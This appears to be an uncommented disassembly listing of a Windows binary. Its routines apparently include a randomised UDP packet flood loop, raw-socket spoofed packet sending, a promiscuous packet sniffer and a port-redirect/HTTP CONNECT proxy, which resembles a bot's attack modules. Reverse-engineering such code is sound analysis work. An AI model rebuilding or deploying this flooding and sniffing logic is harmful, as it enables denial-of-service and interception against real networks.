var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_436840
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427821
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_42781A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_4277C0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427821:				; CODE XREF: sub_4277C0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_42785D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42785D:				; CODE XREF: sub_4277C0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42787B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42787B:				; CODE XREF: sub_4277C0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42788E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42788E:				; CODE XREF: sub_4277C0+9Bj
					; sub_4277C0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_4278A4
		mov	[esp+28h+arg_FFE4], 1


loc_4278A4:				; CODE XREF: sub_4277C0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_4278DE


loc_4278CB:				; CODE XREF: sub_4277C0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_4278CB


loc_4278DE:				; CODE XREF: sub_4277C0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427970
		mov	ebp, dword_50FC5C


loc_4278F6:				; CODE XREF: sub_4277C0+1AEj
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_427970
		mov	esi, 0Bh


loc_427904:				; CODE XREF: sub_4277C0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2801E3Fh
		dec	esi
		jnz	short loc_427904
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_42795B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_42795B:				; CODE XREF: sub_4277C0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_4278F6


loc_427970:				; CODE XREF: sub_4277C0+12Aj
					; sub_4277C0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_4277C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279F0	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427A4D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: sub_4279F0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427A6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279F0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		call	near ptr 71AB2C69h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_4279F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AD0	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_427B37:				; CODE XREF: sub_427AD0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427B5B
		test	cl, cl
		jz	short loc_427B57
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427B5B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427B37


loc_427B57:				; CODE XREF: sub_427AD0+71j
		xor	eax, eax
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427B5B:				; CODE XREF: sub_427AD0+6Dj
					; sub_427AD0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427B60:				; CODE XREF: sub_427AD0+89j
		cmp	eax, ebx
		jnz	short loc_427BB3
		mov	ebp, dword_4D6107
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427B77
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BBE


loc_427B77:				; CODE XREF: sub_427AD0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427BBE
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427AD0+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427BBE:				; CODE XREF: sub_427AD0+A5j
					; sub_427AD0+E1j
		cmp	ebp, ebx
		jz	short loc_427BC7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BCD


loc_427BC7:				; CODE XREF: sub_427AD0+F0j
		mov	ebp, dword_4D6107


loc_427BCD:				; CODE XREF: sub_427AD0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D0D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		call	near ptr 71AB3E00h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427CF3
		mov	ebx, dword_50FC90


loc_427C63:				; CODE XREF: sub_427AD0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427CE3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427CBE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427CDB
; ---------------------------------------------------------------------------


loc_427CBE:				; CODE XREF: sub_427AD0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427CE3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427CDB:				; CODE XREF: sub_427AD0+1ECj
		call	sub_40207C
		add	esp, 8


loc_427CE3:				; CODE XREF: sub_427AD0+1C0j
					; sub_427AD0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427C63


loc_427CF3:				; CODE XREF: sub_427AD0+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop


loc_427D0D:				; CODE XREF: sub_427AD0+11Dj
					; sub_427AD0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427AD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DC0	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F40
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E30	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EF0	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427FC0:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_427FD8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427FD8:				; CODE XREF: ___:00427FCDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FF0	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428008
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428008:				; CODE XREF: sub_427FF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428020	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428040	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428160	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428160	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428220	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_428238
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428238:				; CODE XREF: sub_428220+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428220	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428250	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42826E
		push	eax
		call	edi	; closesocket


loc_42826E:				; CODE XREF: sub_428250+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42827C
		push	eax
		call	edi	; closesocket


loc_42827C:				; CODE XREF: sub_428250+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_428250	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BA92
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_4282F8:				; CODE XREF: sub_4282C0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429310
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4283B0
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429280
; ---------------------------------------------------------------------------


loc_4283B0:				; CODE XREF: sub_4282C0+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445258
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428475
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4292FF
		jmp	loc_42866A
; ---------------------------------------------------------------------------


loc_428475:				; CODE XREF: sub_4282C0+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42866A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
